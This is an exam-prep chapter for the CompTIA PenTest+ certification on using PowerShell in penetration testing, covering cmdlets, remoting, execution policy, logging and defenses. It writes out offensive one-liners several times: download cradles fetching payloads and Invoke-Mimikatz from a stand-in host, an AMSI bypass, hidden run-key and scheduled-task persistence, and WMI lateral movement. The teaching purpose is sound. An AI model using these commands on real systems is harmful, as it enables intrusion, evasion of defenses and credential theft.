PT0-002Chapter 79 of 104Objective 5.2

PowerShell for Penetration Testing

This chapter covers PowerShell for penetration testing, a critical skill for the CompTIA PenTest+ PT0-002 exam, specifically under Domain 5.0 (Tools and Code Analysis) and Objective 5.2 (Analyze scripts to validate functionality and security). PowerShell is the primary scripting language for Windows environments, and approximately 10-15% of exam questions involve PowerShell, including script analysis, execution policies, and common penetration testing cmdlets. Understanding PowerShell's internals, from cmdlet execution to script block logging, is essential for both offensive and defensive security roles.

25 min read
Intermediate
Updated May 31, 2026

PowerShell as a Universal Remote for Windows

Imagine a Windows system as a home entertainment center with many devices: a TV (file system), a sound system (registry), a streaming box (services), and a game console (processes). Each device comes with its own remote control with buttons for basic operations—this is the GUI. Now, a universal remote like PowerShell lets you control all devices with a single interface, but more importantly, it can learn and execute complex macros. For example, you can program a macro that turns on the TV, switches to HDMI 2, sets volume to 20, and launches Netflix—all with one button press. In PowerShell, this is a script. The universal remote also has a 'record' function that captures your button presses and saves them as a macro—this is like PowerShell's transcript feature. For penetration testing, you can use the universal remote to send commands that the original remotes never intended, like adjusting the TV's service menu to expose hidden ports (analogous to enabling WinRM or PSRemoting). The remote communicates via infrared (like WMI), Bluetooth (like .NET), or even over the internet (like PowerShell Remoting). A skilled tester can craft a macro that cycles through every channel (enumerate users), change the volume (adjust permissions), or even factory reset the whole system (execute destructive commands). Just as a universal remote can be programmed to send any IR code, PowerShell can invoke any .NET method or COM object, making it a powerful tool for both administration and exploitation.

How It Actually Works

What is PowerShell and Why It Exists

PowerShell is a task automation and configuration management framework from Microsoft, consisting of a command-line shell and associated scripting language. Initially released in 2006 as Windows PowerShell (built on .NET Framework), it evolved into PowerShell Core (cross-platform, built on .NET Core) in 2016, and later unified as PowerShell 7. For the PT0-002 exam, focus on Windows PowerShell 5.1 (default on Windows 10/Server 2016+) and PowerShell 7 (cross-platform).

PowerShell's existence is rooted in the need for system administrators to automate repetitive tasks (like user creation, log parsing, and software deployment) more effectively than VBScript or batch files. Its object-oriented nature—where cmdlets output .NET objects rather than text—makes it powerful for chaining commands (pipelining). For penetration testers, PowerShell is invaluable because it is: - Native to Windows: Installed by default on all modern Windows systems, reducing the need to drop custom binaries. - Trusted by defenders: Often whitelisted in application control policies (e.g., AppLocker) because it's a legitimate admin tool. - Powerful: Can access WMI, CIM, .NET, COM, and the Windows API directly. - Scriptable: Enables rapid development of reconnaissance, privilege escalation, and persistence tools.

How PowerShell Works Internally

When you type a command in PowerShell, the following happens: 1. Parsing: The PowerShell engine parses the command into tokens (words, operators, parameters). 2. Command Resolution: The engine looks up the command in the following order: alias -> function -> cmdlet -> external command (exe). If not found, it throws an error. 3. Parameter Binding: The engine binds parameters using default parameter sets, positional parameters, or explicitly named parameters. 4. Execution: The command's implementation (e.g., a C# method for cmdlets, a script block for functions) runs. 5. Output Processing: The output objects are passed to the next command in the pipeline (if any) or formatted for display.

PowerShell uses a monad (single-threaded) approach for the pipeline: each command processes one object at a time from the previous command, not waiting for all objects to be generated. This is memory-efficient for large datasets.

Key Components, Values, Defaults, and Timers

Cmdlets: Built-in commands with a Verb-Noun naming convention (e.g., Get-Process, Invoke-Command). There are over 200 built-in cmdlets in Windows PowerShell 5.1.

Aliases: Shortcuts for cmdlets (e.g., ls for Get-ChildItem, cat for Get-Content). Defined via Set-Alias or New-Alias.

Functions: Named blocks of code defined in PowerShell script. Can be advanced (with [CmdletBinding()]) to behave like cmdlets.

Scripts: Files with .ps1 extension containing PowerShell commands.

Modules: Packages of cmdlets, functions, and scripts. Loaded via Import-Module. Common modules for pentesting: ActiveDirectory, Microsoft.PowerShell.Management, Posh-SecMod (third-party).

Execution Policy: A security feature that controls script execution. Policies: Restricted (no scripts, default on desktop Windows), RemoteSigned (remote scripts must be signed by trusted publisher, default on servers), AllSigned, Unrestricted, Bypass. Can be set via Set-ExecutionPolicy. Note: Execution policy is not a security boundary—it can be bypassed easily (see Misconceptions).

PowerShell Remoting: Uses WinRM (HTTP/HTTPS on port 5985/5986) to execute commands remotely. Requires admin rights and firewall rules. Enabled via Enable-PSRemoting. Uses -ComputerName parameter on many cmdlets or Enter-PSSession for interactive sessions.

Transcripts: Logging of PowerShell sessions via Start-Transcript. Outputs to a text file. Defenders use this to audit commands.

Script Block Logging: Logs the content of all script blocks when executed, including obfuscated code. Enabled via Group Policy. Critical for forensics.

Module Logging: Logs pipeline execution details for specific modules.

Protected Event Logging: Encrypts logs using a certificate to prevent tampering.

Constrained Language Mode: A lockdown mode that restricts PowerShell to a limited set of types and cmdlets. Used by system administrators to prevent arbitrary code execution. Bypass techniques exist (e.g., using -Version 2 to revert to older, less restricted mode).

Just Enough Administration (JEA): Role-based access control for PowerShell remoting, limiting what commands a user can run.

Configuration and Verification Commands

To check execution policy:

Get-ExecutionPolicy

To bypass execution policy for a single script:

powershell -ExecutionPolicy Bypass -File script.ps1

To enable PowerShell Remoting:

Enable-PSRemoting -Force

To verify remoting is enabled:

Test-WSMan -ComputerName localhost

To start a remote session:

Enter-PSSession -ComputerName TARGET -Credential (Get-Credential)

To run a single command remotely:

Invoke-Command -ComputerName TARGET -ScriptBlock { Get-Process } -Credential (Get-Credential)

To check script block logging:

Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' | Where-Object { $_.Id -eq 4104 } | Format-List *

To check module logging:

Get-WinEvent -LogName 'Windows PowerShell' | Where-Object { $_.Id -eq 800 } | Format-List *

How PowerShell Interacts with Related Technologies

- .NET Framework: PowerShell can instantiate any .NET object and call its methods. For example:

[System.Net.WebClient]::new().DownloadString('http://evil.com/payload.ps1')

WMI/CIM: PowerShell uses Get-WmiObject (deprecated) or Get-CimInstance to query WMI. Useful for reconnaissance (e.g., list processes, services, network adapters).

COM Objects: Via New-Object -ComObject, e.g., Internet Explorer COM for drive-by downloads.

Active Directory: The ActiveDirectory module provides cmdlets like Get-ADUser, Get-ADGroupMember. Requires RSAT tools installed.

Windows API: Via Add-Type to define C# code that calls Windows API functions (e.g., kernel32.dll for process injection).

PowerShell Empire: A post-exploitation framework that uses PowerShell agents communicating over HTTP/HTTPS. Common in pentesting.

PowerShell Encoded Commands: Base64-encoded commands to avoid parsing issues or detection. Used via -EncodedCommand parameter.

Common Penetration Testing Cmdlets and Scripts

Reconnaissance:

Get-Process
Get-Service
Get-NetTCPConnection
Get-LocalUser
Get-LocalGroupMember -Group Administrators
Get-ChildItem C:\Users -Recurse -Filter *.txt

Privilege Escalation:

# Check for unquoted service paths
Get-CimInstance -ClassName Win32_Service | Where-Object { $_.PathName -notlike '"*' -and $_.PathName -like '* *' }
# Check for always install elevated
Get-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer

Persistence:

# Add a registry run key
New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name 'Backdoor' -Value 'powershell -WindowStyle Hidden -EncodedCommand <base64>'
# Create a scheduled task
$action = New-ScheduledTaskAction -Execute 'powershell' -Argument '-WindowStyle Hidden -EncodedCommand <base64>'
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName 'UpdateTask' -Action $action -Trigger $trigger -User 'SYSTEM'

Credential Theft:

# Mimikatz via PowerShell (Invoke-Mimikatz)
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds
# Invoke-Kerberoast for service account tickets

Lateral Movement:

# PSRemoting
Invoke-Command -ComputerName TARGET -ScriptBlock { Get-Process } -Credential $cred
# WMI execution
Invoke-WmiMethod -ComputerName TARGET -Class Win32_Process -Name Create -ArgumentList 'powershell -EncodedCommand <base64>'

Security Considerations and Defenses

Defenders can:

Enable Script Block Logging and Module Logging via Group Policy.

Use Constrained Language Mode to limit cmdlets.

Remove PowerShell.exe from AppLocker or WDAC rules (though many tools use powershell_ise.exe or pwsh.exe).

Monitor Event IDs 4104 (script block logging), 4103 (module logging), 400 (engine start), 403 (engine stop).

Use AMSI (Anti-Malware Scan Interface) to scan script content before execution. AMSI can be bypassed via patching or reflection.

For the exam, know that AMSI bypasses exist (e.g., [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)).

PowerShell Versions and Compatibility

Windows PowerShell 5.1 is the last version of Windows PowerShell; PowerShell 7 is the future. Key differences:

PowerShell 7 is cross-platform (Linux, macOS).

PowerShell 7 has new operators (??, ??=, ..), ForEach-Object -Parallel, and ternary operator.

Some cmdlets differ: Get-NetTCPConnection vs Get-NetTCPConnection (same in both), but Get-WmiObject is deprecated in PowerShell 7 (use Get-CimInstance).

PowerShell 7 does not include the ActiveDirectory module by default; use Import-Module ActiveDirectory from RSAT.

For PT0-002, assume Windows PowerShell 5.1 unless stated otherwise.

Walk-Through

1

Bypass Execution Policy

When you need to run a PowerShell script on a target system where the default execution policy is 'Restricted' (desktop) or 'RemoteSigned' (server), you must bypass it. The simplest method is to launch PowerShell with the `-ExecutionPolicy Bypass` argument: `powershell -ExecutionPolicy Bypass -File script.ps1`. This sets the policy for the current session only. Another common technique is to pipe the script from a download: `IEX (New-Object Net.WebClient).DownloadString('http://evil.com/script.ps1')`. This avoids writing to disk and runs the script in the current session's policy context. Note: Execution policy is a user preference, not a security control; it can be overridden by any user. The exam expects you to know that `Bypass` allows any script to run without restrictions.

2

Enumerate System Information

Gather basic system info using cmdlets like `Get-ComputerInfo` (Windows 10/2016+), `Get-WmiObject Win32_OperatingSystem`, or `Get-CimInstance Win32_OperatingSystem`. For domain-joined systems, use `Get-WmiObject Win32_ComputerSystem | Select-Object Domain`. To list local users: `Get-LocalUser` (PowerShell 5.1+) or `Get-WmiObject Win32_UserAccount -Filter "LocalAccount=True"`. For groups: `Get-LocalGroupMember -Group Administrators`. For network configuration: `Get-NetIPConfiguration` or `Get-WmiObject Win32_NetworkAdapterConfiguration`. These commands output objects that can be further filtered or exported. The exam may ask which cmdlet retrieves a specific piece of information; remember that `Get-WmiObject` and `Get-CimInstance` are interchangeable but `Get-CimInstance` is preferred in newer systems.

3

Execute Remote Commands via WinRM

PowerShell Remoting uses WinRM (Windows Remote Management) over HTTP (5985) or HTTPS (5986). To execute a command on a remote system, use `Invoke-Command -ComputerName TARGET -ScriptBlock { Get-Process } -Credential (Get-Credential)`. The `-ComputerName` parameter accepts an array of computers for parallel execution. For interactive sessions, use `Enter-PSSession -ComputerName TARGET`. WinRM must be enabled on the target (`Enable-PSRemoting -Force`), and the firewall must allow the port. The exam tests that by default, WinRM uses Kerberos for authentication (domain) or NTLM (workgroup). If the target is not trusted, you may need to add it to the TrustedHosts list: `Set-Item WSMan:\localhost\Client\TrustedHosts -Value TARGET -Force`. Also, `-Authentication Negotiate` can be used for non-domain scenarios.

4

Download and Execute Payload In-Memory

To avoid writing malicious files to disk, attackers use in-memory execution. The classic one-liner: `IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')`. This downloads the script as a string and passes it to `Invoke-Expression` (IEX), which executes it in the current session. Alternatively, use `-EncodedCommand` with a base64-encoded script: `powershell -EncodedCommand <base64>`. The encoded command is decoded and executed without touching disk. The exam may ask about detection: Script Block Logging will capture the decoded command, but AMSI may block it. Attackers often use obfuscation to evade AMSI, such as splitting strings or using backticks. Know that `IEX` is an alias for `Invoke-Expression` and is commonly used in attack scripts.

5

Extract Credentials from Memory

Mimikatz is a popular tool for extracting plaintext passwords, hashes, and Kerberos tickets from memory. The PowerShell version, `Invoke-Mimikatz`, is loaded via IEX: `IEX (New-Object Net.WebClient).DownloadString('http://evil.com/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds`. It uses the `sekurlsa::logonpasswords` command. On systems with Credential Guard enabled, Mimikatz may fail. Alternative: `Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'`. The exam may test that Mimikatz requires administrative privileges and that it can also dump Kerberos tickets (`kerberos::list /export`). Note: Windows Defender may flag Mimikatz; attackers often rename or obfuscate the script. The exam expects you to know that `Invoke-Mimikatz` is a PowerShell script that calls the Mimikatz binary's functionality via reflection.

What This Looks Like on the Job

Scenario 1: Penetration Test of a Corporate Windows Domain

A penetration tester is engaged to assess a medium-sized enterprise with 2,000 Windows 10 workstations and 50 Windows Server 2019 domain controllers. The tester gains initial access via a phishing email that executes a PowerShell download cradle. The first step is to enumerate the local system for privilege escalation vectors. The tester runs Get-LocalGroupMember -Group Administrators to see who is local admin, then checks for unquoted service paths using Get-CimInstance Win32_Service | Where-Object { $_.PathName -notlike '"*' -and $_.PathName -like '* *' }. They find a service with path C:\Program Files\Vendor App\service.exe (no quotes). By placing a malicious service.exe in C:\Program Files\Vendor App\ (which they have write access to due to weak permissions), they escalate to SYSTEM. From there, they dump credentials with Invoke-Mimikatz -DumpCreds and find a domain admin hash. They use Invoke-Command -ComputerName DC01 -ScriptBlock { Get-ADUser -Filter * } to enumerate all domain users. The engagement requires careful logging: they enable transcript via Start-Transcript -Path C:\temp\log.txt to document their actions for the report. The tester must also avoid detection by disabling real-time monitoring (if allowed) or using obfuscation. Common misconfiguration: the domain's PowerShell logging is not enabled, so the tester's commands go unnoticed. However, if Script Block Logging is enabled, Event ID 4104 will capture every script block, including the download cradle. The tester would need to use obfuscation techniques like splitting strings or using -EncodedCommand to avoid signature-based detection.

Scenario 2: Red Team Operation Against a High-Security Environment

A red team is targeting a financial institution with strict AppLocker policies that block powershell.exe but allow powershell_ise.exe and pwsh.dll (for PowerShell 7). The team uses a technique called 'PowerShell without PowerShell'—they execute PowerShell commands via cscript using a .js file that invokes the PowerShell object via COM. Alternatively, they use Install-util or regsvr32 to load PowerShell code through trusted binaries. Once on a system, they discover Constrained Language Mode is enabled. They bypass it by launching PowerShell with -Version 2 (if PowerShell 2.0 is installed) because version 2 does not support Constrained Language Mode. They then execute Get-Process to list running processes. For lateral movement, they use WMI instead of PSRemoting because WinRM may be blocked: Invoke-WmiMethod -ComputerName TARGET -Class Win32_Process -Name Create -ArgumentList 'powershell -EncodedCommand <base64>'. The red team also uses PowerShell Empire for command and control, which uses a PowerShell agent that communicates over HTTP with AES-encrypted traffic. The defenders have AMSI enabled, so the team uses an AMSI bypass: [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true). This patch causes AMSI to return 'non-malicious' for all scans. The exam may ask which AMSI bypass technique is used; know that this reflection-based bypass is common.

Scenario 3: Automating Reconnaissance in a Cloud Environment

A tester is assessing an Azure AD-joined environment. They use PowerShell with the AzureAD module to enumerate users, groups, and applications. Commands like Get-AzureADUser -All $true and Get-AzureADGroupMember -ObjectId <group-id> are used. For on-premises AD, they use Get-ADUser -Filter * -Properties * from the ActiveDirectory module. The tester also uses Invoke-Command to run commands on Azure VMs via the Azure extension or via WinRM if enabled. A common mistake is forgetting to authenticate first: Connect-AzureAD or Connect-MsolService. The exam may test that Get-ADUser is part of the ActiveDirectory module, which is not installed by default on client OS; it requires RSAT. In cloud scenarios, the tester might use Invoke-RestMethod to call Microsoft Graph API directly: Invoke-RestMethod -Uri 'https://graph.microsoft.com/v1.0/users' -Headers @{Authorization = "Bearer $token"}. This is more stealthy than using AzureAD cmdlets because it uses native HTTP calls.

How PT0-002 Actually Tests This

The PT0-002 exam tests PowerShell under Objective 5.2 (Analyze scripts to validate functionality and security). You must be able to read a PowerShell script, identify what it does, and recognize security implications. Expect 5-10 questions that involve PowerShell directly or as part of a larger scenario.

Common Wrong Answers and Why Candidates Choose Them

1.

Execution Policy is a security boundary: Many candidates think that setting ExecutionPolicy Restricted prevents users from running malicious scripts. Reality: Execution policy can be bypassed easily (e.g., -ExecutionPolicy Bypass, download cradle, encoded command). The exam expects you to know that execution policy is not a security control—it's a user convenience feature.

2.

PowerShell Remoting uses RPC over port 135: Some confuse WinRM with RPC. PowerShell Remoting uses WinRM over HTTP (5985) or HTTPS (5986). Port 135 is for RPC endpoint mapper. The exam may ask which port WinRM uses; know the default ports.

3.

`Invoke-Expression` is the only way to execute code from a string: Candidates may forget that Invoke-Command with a script block also executes code, but Invoke-Expression is specifically for strings. Also, & (call operator) can execute a command from a string variable: & $command. The exam tests the difference between Invoke-Expression and Invoke-Command.

4.

PowerShell scripts require `.ps1` extension to run: Actually, you can execute PowerShell code from any file or even from stdin. The extension is a convention, not a requirement. The -File parameter accepts any file. Also, you can run a script by piping its content: Get-Content script.txt | powershell -NoProfile -.

Specific Numbers, Values, and Terms

WinRM ports: 5985 (HTTP), 5986 (HTTPS).

Execution policies: Restricted, RemoteSigned, AllSigned, Unrestricted, Bypass.

Default execution policy: Restricted on Windows client, RemoteSigned on Windows Server (if not changed).

PowerShell version: Windows PowerShell 5.1 is the default on Windows 10/Server 2016+.

Event IDs: 4104 (Script Block Logging), 4103 (Module Logging), 400/403 (Engine start/stop).

AMSI bypass: [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true).

Constrained Language Mode bypass: Use -Version 2 if PowerShell 2.0 is installed.

Cmdlet for remote execution: Invoke-Command (not Invoke-Expression).

Cmdlet for downloading: Invoke-WebRequest (alias iwr) or Net.WebClient.

Edge Cases and Exceptions

PowerShell 7 vs Windows PowerShell: PowerShell 7 is cross-platform and does not have the ActiveDirectory module by default. It uses Get-CimInstance instead of Get-WmiObject.

PowerShell Core on Linux: Commands like Get-Service work differently; Linux uses systemctl.

PowerShell 2.0: Can be used to bypass Constrained Language Mode, but it is not installed by default on Windows 10/2016+.

PowerShell without PowerShell: Techniques like PowerShell.exe replaced by cscript, mshta, or regsvr32 to execute PowerShell code through trusted binaries.

How to Eliminate Wrong Answers

If a question asks about remote command execution, look for Invoke-Command, Enter-PSSession, or New-PSSession. If it mentions Invoke-Expression, that is for local string execution, not remote.

If a question asks about bypassing execution policy, the answer should involve -ExecutionPolicy Bypass, IEX, or -EncodedCommand. Any answer that suggests changing the policy permanently is less likely.

If a question involves AMSI, the bypass technique is typically a reflection-based patch. Answer choices that mention Set-MpPreference are for Windows Defender, not AMSI.

If a question asks about logging, remember that Script Block Logging (Event ID 4104) captures the full script block, while Module Logging (Event ID 4103) captures pipeline execution.

Key Takeaways

Execution policy is NOT a security control; it can be bypassed with `-ExecutionPolicy Bypass`, download cradles, or encoded commands.

PowerShell Remoting uses WinRM on ports 5985 (HTTP) and 5986 (HTTPS); default authentication is Kerberos in a domain.

Script Block Logging (Event ID 4104) captures the full content of every script block executed, including obfuscated code.

AMSI bypass via reflection: `[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)`.

Constrained Language Mode can be bypassed by launching PowerShell with `-Version 2` if PowerShell 2.0 is installed.

`Invoke-Expression` executes a string locally; `Invoke-Command` executes a script block locally or remotely.

Common reconnaissance cmdlets: `Get-Process`, `Get-Service`, `Get-LocalUser`, `Get-NetTCPConnection`, `Get-ChildItem`.

In-memory execution avoids writing to disk: `IEX (New-Object Net.WebClient).DownloadString('URL')`.

Mimikatz in PowerShell: `Invoke-Mimikatz -DumpCreds` requires administrative privileges.

PowerShell 7 is cross-platform but lacks some Windows-specific modules; Windows PowerShell 5.1 is the exam default.

Easy to Mix Up

These come up on the exam all the time. Here's how to tell them apart.

Windows PowerShell 5.1

Built on .NET Framework, Windows-only

Default on Windows 10/Server 2016+

Includes ActiveDirectory module with RSAT

Uses Get-WmiObject (deprecated but present)

Supports Constrained Language Mode

PowerShell 7 (Core)

Built on .NET Core, cross-platform (Windows, Linux, macOS)

Not installed by default on any OS

ActiveDirectory module not included; requires separate module

Uses Get-CimInstance instead of Get-WmiObject

Does not support Constrained Language Mode; uses system-wide lockdown

Invoke-Expression (IEX)

Executes a string as PowerShell code

Runs locally in the current session

Commonly used in download cradles

Can execute any valid PowerShell expression

No remoting capability

Invoke-Command

Executes a script block on local or remote computers

Primarily used for remote execution via WinRM

Supports -ComputerName parameter for multiple targets

Script block is compiled once, not parsed as string

Can be used locally by omitting -ComputerName

Watch Out for These

Mistake

Execution policy is a security feature that prevents malicious scripts from running.

Correct

Execution policy is a user preference that can be easily bypassed using `-ExecutionPolicy Bypass`, download cradles, or encoded commands. It is not a security boundary.

Mistake

PowerShell Remoting uses port 445 (SMB) to execute commands.

Correct

PowerShell Remoting uses WinRM over HTTP (5985) or HTTPS (5986). SMB (445) is used for file sharing, not remote command execution.

Mistake

Constrained Language Mode completely prevents code execution.

Correct

Constrained Language Mode restricts available types and cmdlets but can be bypassed by using `-Version 2` (if PowerShell 2.0 is installed) or by using .NET reflection.

Mistake

PowerShell scripts must have a .ps1 extension to execute.

Correct

PowerShell can execute any text file containing valid PowerShell commands. The extension is irrelevant; you can use `-File` with any file or pipe content from stdin.

Mistake

`Invoke-Expression` and `Invoke-Command` are interchangeable.

Correct

`Invoke-Expression` evaluates a string as PowerShell code locally. `Invoke-Command` executes a script block, typically on remote computers via WinRM.

Do You Actually Know This?

Reveal each answer, then mark whether you got it right. Score 60%+ to unlock the next chapter.

Frequently Asked Questions

How do I bypass PowerShell execution policy?

Use `powershell -ExecutionPolicy Bypass -File script.ps1` to run a script with no restrictions. Alternatively, use a download cradle: `IEX (New-Object Net.WebClient).DownloadString('http://evil.com/script.ps1')`. This runs the script in the current session without changing the system policy. The exam expects you to know that execution policy is not a security control; it is a user preference that can be easily overridden.

What ports does PowerShell Remoting use?

PowerShell Remoting uses WinRM (Windows Remote Management) over HTTP on port 5985 and HTTPS on port 5986. The default is HTTP (5985). To use HTTPS, you need a certificate and the `-UseSSL` parameter. The exam may ask you to identify these ports. Do not confuse them with RPC (135) or SMB (445).

What is the difference between Invoke-Expression and Invoke-Command?

`Invoke-Expression` (alias `IEX`) takes a string and evaluates it as PowerShell code in the current session. `Invoke-Command` takes a script block and executes it, typically on remote computers via WinRM. `Invoke-Command` can also run locally if no `-ComputerName` is specified, but it is designed for remoting. The exam may test that `IEX` is used for download cradles and `Invoke-Command` for lateral movement.

How do I detect PowerShell attacks via logging?

Enable Script Block Logging (Event ID 4104) to capture the full content of script blocks. Enable Module Logging (Event ID 4103) to capture pipeline execution. Monitor Event IDs 400 and 403 for PowerShell engine start and stop. Also, use AMSI to scan script content before execution. The exam may ask which event ID corresponds to script block logging (4104).

What is the AMSI bypass technique for PowerShell?

A common AMSI bypass uses reflection to set the `amsiInitFailed` field to `$true`, which disables AMSI for the current session. The code: `[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)`. This causes AMSI to always return 'non-malicious'. The exam may ask about this technique or present it as a correct answer in a script analysis question.

How do I execute PowerShell code without using powershell.exe?

You can use other executables to invoke PowerShell code, such as `cscript` with a JavaScript file that creates a PowerShell object, or `mshta` with an HTA file. Also, `Install-util` and `regsvr32` can be used to run PowerShell code through trusted binaries. This is known as 'PowerShell without PowerShell' and helps bypass AppLocker restrictions.

What is Constrained Language Mode and how do I bypass it?

Constrained Language Mode restricts PowerShell to a limited set of types and cmdlets to prevent arbitrary code execution. It can be bypassed by launching PowerShell with `-Version 2` (if PowerShell 2.0 is installed) because version 2 does not support Constrained Language Mode. Alternatively, using .NET reflection to call methods directly may also work. The exam may test that `-Version 2` is a bypass method.

Terms Worth Knowing

Ready to put this to the test?

You've just covered PowerShell for Penetration Testing — now see how well it sticks with free PT0-002 practice questions. Full explanations included, no account needed.

Done with this chapter?